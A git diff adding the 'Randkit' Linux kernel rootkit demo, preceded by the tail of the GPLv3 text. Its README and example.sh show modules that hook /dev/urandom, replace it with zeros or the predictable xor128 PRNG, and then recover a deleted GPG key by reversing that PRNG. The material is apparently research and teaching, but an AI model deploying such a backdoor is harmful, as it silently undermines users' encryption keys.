occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Linux/Rootkits/Randkit/Makefile b/Linux/Rootkits/Randkit/Makefile new file mode 100644 index 0000000..60c4ca0 --- /dev/null +++ b/Linux/Rootkits/Randkit/Makefile @@ -0,0 +1,9 @@ +define build + $(MAKE) -C fops $@ PWD=$(PWD)/fops + $(MAKE) -C zero $@ PWD=$(PWD)/zero + $(MAKE) -C xor128 $@ PWD=$(PWD)/xor128 +endef + +all clean test: + $(call build) + diff --git a/Linux/Rootkits/Randkit/README.md b/Linux/Rootkits/Randkit/README.md new file mode 100644 index 0000000..2aabd0d --- /dev/null +++ b/Linux/Rootkits/Randkit/README.md @@ -0,0 +1,174 @@ +# randkit + Random number rootkit for the Linux kernel + +The goals are to see: +* how a kernel module can access and modify the `/dev/urandom` and `/dev/random` structures. +* what happens when we replace a cryptographically secure PRNG with a predictable and reversible PRNG (here, this simple PRNG is `xor128`). + +Contents += + +zero/ +- + +A simple module that replaces `/dev/(u)random` with `/dev/zero` + +```bash +# output 16 random bytes from /dev/urandom +$ head -c16 /dev/urandom | hexdump +0000000 55a4 98ea 7179 4179 d634 fd92 89f2 898e +0000010 +# load the zero rootkit +$ sudo insmod randkit_zero.ko +# output 16 zero bytes from /dev/urandom +$ head -c16 /dev/urandom | hexdump +0000000 0000 0000 0000 0000 0000 0000 0000 0000 +0000010 +# remove the rootkit +$ sudo rmmod randkit_zero +# the random numbers are random again! +$ head -c16 /dev/urandom | hexdump +0000000 194b 2c9f 5054 113b f6bc 5ab8 3ed9 dee2 +0000010 +``` + +xor128/ +- + +A module that replaces `/dev/(u)random` with a simple predictable and reversible PRNG. + +This PRNG is called *xor128* and is part of the very fast Xorshift PRNGs: https://en.wikipedia.org/wiki/Xorshift + +One of the *xor128* features is that it passes the *diehard* random number tests: https://en.wikipedia.org/wiki/Diehard_tests (which is a rather complete randomness test suite). + +Let's do a quick randomness test with another randomness test suite. We will use the `ent` tool available at https://www.fourmilab.ch/random/ + +For the real `/dev/urandom` device: + +```bash +# generate 5 MB of random data from the real /dev/urandom +$ dd if=/dev/urandom of=random5MB.urandom bs=1M count=5 +5+0 records in +5+0 records out +5242880 bytes (5.2 MB) copied, 0.406672 s, 12.9 MB/s +# test the randomness of the data using the ent tool +$ ent random5MB.urandom +Entropy = 7.999968 bits per byte. + +Optimum compression would reduce the size +of this 5242880 byte file by 0 percent. + +Chi square distribution for 5242880 samples is 233.65, and randomly +would exceed this value 75.00 percent of the times. + +Arithmetic mean value of data bytes is 127.4776 (127.5 = random). +Monte Carlo value for Pi is 3.143720682 (error 0.07 percent). +Serial correlation coefficient is -0.000062 (totally uncorrelated = 0.0). +``` + +For the backdoored `/dev/urandom` device: + +```bash +# load the rootkit +$ sudo insmod randkit_xor128.ko +# generate 5 MB of random data from the backdoored /dev/urandom +$ dd if=/dev/urandom of=random5MB.xor128 bs=1M count=5 +5+0 records in +5+0 records out +5242880 bytes (5.2 MB) copied, 0.0266334 s, 197 MB/s +# test the randomness of the data using the ent tool +$ ent random5MB.xor128 +Entropy = 7.999964 bits per byte. + +Optimum compression would reduce the size +of this 5242880 byte file by 0 percent. + +Chi square distribution for 5242880 samples is 261.73, and randomly +would exceed this value 50.00 percent of the times. + +Arithmetic mean value of data bytes is 127.4943 (127.5 = random). +Monte Carlo value for Pi is 3.140932900 (error 0.02 percent). +Serial correlation coefficient is 0.000238 (totally uncorrelated = 0.0). +``` + +Both the files appear to be random. Therefore it is difficult to distinguish a predictable PRNG like *xor128* with a **really** random CSPRNG like `/dev/urandom`. + +fops/ +- + +A module that checks that the `struct file_operations` pointer from `/dev/urandom` is accessible using different techniques + +tests/ +- + +Programs to test that the modules work correctly (e.g. read random numbers from the file descriptor, syscall, ...). + +examples/ +- + +Shows how to retrieve past random numbers generated by the `randkit_xor128` module. + +Build += + +Go the toplevel directory and type `make`. This will build all the three modules. + +Or you go inside the `fops/`, `zero/` or `xor128/` directories and type `make`. + +To build successfully, you need the linux headers for your kernel. + +Test += + +Simple tests +- + +To check that everything works, go to the toplevel directory and type `make test`. + +Full example +- + +Go to the `examples/` directory and type `make`. + +This will encrypt data using a key generated by the backdoored PRNG. Then it will delete the key and try to decrypt the data by retrieving the PRNG previous values. + +```bash +$ cd examples +$ make +./example.sh +[*] reloading the module +[*] cleaning files from previous run +[*] generating 5KB of random numbers +1+0 records in +1+0 records out +5120 bytes (5.1 kB) copied, 6.9455e-05 s, 73.7 MB/s +[*] generating the GPG symmetric key +[*] encrypting data +[*] deleting the key +[*] generating 5KB of random numbers again +1+0 records in +1+0 records out +5120 bytes (5.1 kB) copied, 6.6115e-05 s, 77.4 MB/s +[*] decrypt the data by reversing the PRNG to retrieve the key +[*] this should take approx. 1280 iterations +[*] iteration: 1 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 2 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 3 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +... +[*] iteration: 1287 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 1288 +gpg: decryption failed: bad key +[*] bad key. Retrying with previous state... +[*] iteration: 1289 +[*] key found! +[*] comparing the original and decrypted files: +[*] Success. Files are equal! +``` \ No newline at end of file diff --git a/Linux/Rootkits/Randkit/examples/Makefile b/Linux/Rootkits/Randkit/examples/Makefile new file mode 100644 index 0000000..22bc034 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/Makefile @@ -0,0 +1,2 @@ +all: + ./example.sh diff --git a/Linux/Rootkits/Randkit/examples/example.sh b/Linux/Rootkits/Randkit/examples/example.sh new file mode 100644 index 0000000..8410a56 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/example.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +echo "[*] reloading the module" +sudo rmmod randkit_xor128 +sudo insmod ../xor128/randkit_xor128.ko + +echo "[*] cleaning files from previous run" +rm -f mykey encrypted.enc decrypted.txt + +echo "[*] generating 5KB of random numbers" +dd if=/dev/urandom of=/dev/null bs=5K count=1 + +echo "[*] generating the GPG symmetric key" +head -c 16 mykey + +echo "[*] encrypting data" +cat mykey | gpg --symmetric --passphrase-fd 0 --cipher-algo AES256 --output encrypted.enc original.txt + +echo "[*] deleting the key" +rm -f mykey + +echo "[*] generating 5KB of random numbers again" +dd if=/dev/urandom of=/dev/null bs=5K count=1 + +echo "[*] decrypt the data by reversing the PRNG to retrieve the key" +echo "[*] this should take approx. 1280 iterations" +python unrandom.py encrypted.enc decrypted.txt + +echo "[*] comparing the original and decrypted files:" +diff original.txt decrypted.txt + +if (( $? == 0 )); then + echo "[*] Success. Files are equal!" +else + echo "[!] Failure. Files are not equal!" +fi diff --git a/Linux/Rootkits/Randkit/examples/original.txt b/Linux/Rootkits/Randkit/examples/original.txt new file mode 100644 index 0000000..9607e94 --- /dev/null +++ b/Linux/Rootkits/Randkit/examples/original.txt @@ -0,0 +1,39 @@ +Dclaration des Droits de l'Homme et du Citoyen de 1789 + +Les Reprsentants du Peuple Franais, constitus en Assemble Nationale, considrant que l'ignorance, l'oubli ou le mpris des droits de l'Homme sont les seules causes des malheurs publics et de la corruption des Gouvernements, ont rsolu d'exposer, dans une Dclaration solennelle, les droits naturels, inalinables et sacrs de l'Homme, afin que cette Dclaration, constamment prsente tous les Membres du corps social, leur rappelle sans cesse leurs droits et leurs devoirs ; afin que les actes du pouvoir lgislatif, et ceux du pouvoir excutif, pouvant tre chaque instant compars avec le but de toute institution politique, en soient plus respects ; afin que les rclamations des citoyens, fondes dsormais sur des principes simples et incontestables, tournent toujours au maintien de la Constitution et au bonheur de tous. + +En consquence, l'Assemble Nationale reconnat et dclare, en prsence et sous les auspices de l'Etre suprme, les droits suivants de l'Homme et du Citoyen. + +Art. 1er. Les hommes naissent et demeurent libres et gaux en droits. Les distinctions sociales ne peuvent tre fondes que sur l'utilit commune. + +Art. 2. Le but de toute association politique est la conservation des droits naturels et imprescriptibles de l'Homme. Ces droits sont la libert, la proprit, la sret, et la rsistance l'oppression. + +Art. 3. Le principe de toute Souverainet rside essentiellement dans la Nation. Nul corps, nul individu ne peut exercer d'autorit qui n'en mane expressment. + +Art. 4. La libert consiste pouvoir faire tout ce qui ne nuit pas autrui : ainsi, l'exercice des droits naturels de chaque homme n'a de bornes que celles qui assurent aux autres Membres de la Socit la jouissance de ces mmes droits. Ces bornes ne peuvent tre dtermines que par la Loi. + +Art. 5. La Loi n'a le droit de dfendre que les actions nuisibles la Socit. Tout ce qui n'est pas dfendu par la Loi ne peut tre empch, et nul ne peut tre contraint faire ce qu'elle n'ordonne pas. + +Art. 6. La Loi est l'expression de la volont gnrale. Tous les Citoyens ont droit de concourir personnellement, ou par leurs Reprsentants, sa formation. Elle doit tre la mme pour tous, soit qu'elle protge, soit qu'elle punisse. Tous les Citoyens tant gaux ses yeux sont galement admissibles toutes dignits, places et emplois publics, selon leur capacit, et sans autre distinction que celle de leurs vertus et de leurs talents. + +Art. 7. Nul homme ne peut tre accus, arrt ni dtenu que dans les cas dtermins par la Loi, et selon les formes qu'elle a prescrites. Ceux qui sollicitent, expdient, excutent ou font excuter des ordres arbitraires, doivent tre punis ; mais tout citoyen appel ou saisi en vertu de la Loi doit obir l'instant : il se rend coupable par la rsistance. + +Art. 8. La Loi ne doit tablir que des peines strictement et videmment ncessaires, et nul ne peut tre puni qu'en vertu d'une Loi tablie et promulgue antrieurement au dlit, et lgalement applique. + +Art. 9. Tout homme tant prsum innocent jusqu' ce qu'il ait t dclar coupable, s'il est jug indispensable de l'arrter, toute rigueur qui ne serait pas ncessaire pour s'assurer de sa personne doit tre svrement rprime par la loi. + +Art. 10. Nul ne doit tre inquit pour ses opinions, mme religieuses, pourvu que leur manifestation ne trouble pas l'ordre public tabli par la Loi. + +Art. 11. La libre communication des penses et des opinions est un des droits les plus prcieux de l'Homme : tout Citoyen peut donc parler, crire, imprimer librement, sauf rpondre de l'abus de cette libert dans les cas dtermins par la Loi. + +Art. 12. La garantie des droits de l'Homme et du Citoyen ncessite une force publique : cette force est donc institue pour l'avantage de tous, et non pour l'utilit particulire de ceux auxquels elle est confie. + +Art. 13. Pour l'entretien de la force publique, et pour les dpenses 